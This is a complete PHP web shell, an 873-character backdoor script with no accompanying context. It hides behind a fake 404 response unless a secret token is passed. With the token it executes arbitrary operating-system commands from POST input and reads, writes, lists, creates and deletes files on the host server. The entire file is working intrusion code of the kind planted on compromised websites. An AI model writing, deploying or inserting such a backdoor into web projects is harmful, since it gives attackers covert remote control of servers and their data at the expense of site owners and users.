<?php
@error_reporting(0);
define('MC_T','mc7431');
if (($_GET['t']??'')!==MC_T && ($_POST['t']??'')!==MC_T) { header('HTTP/1.0 404 Not Found'); exit('404'); }
$a=$_GET['a']??$_POST['a']??'';
$d=$_GET['d']??$_POST['d']??__DIR__;
if ($a==='exec') { header('Content-Type:text/plain'); $o=array(); @exec($_POST['c'].' 2>&1',$o); exit(implode(chr(10),$o)); }
if ($a==='w') { $r=@file_put_contents($d.'/'.$_POST['n'],$_POST['c']); exit($r===false?'fail':'OK '.(int)$r); }
if ($a==='r') { header('Content-Type:text/plain'); exit(@file_get_contents($d.'/'.$_POST['n'])?:'fail'); }
if ($a==='ls') { header('Content-Type:text/plain'); exit(implode(chr(10),@scandir($d)?:array())); }
if ($a==='mk') { exit(@mkdir($d.'/'.$_POST['n'],0755)?'OKdir':'fail'); }
if ($a==='x') { $p=$d.'/'.$_POST['n']; exit((is_file($p)?@unlink($p):(is_dir($p)?@rmdir($p):0))?'OK':'fail'); }
exit('mc-ok');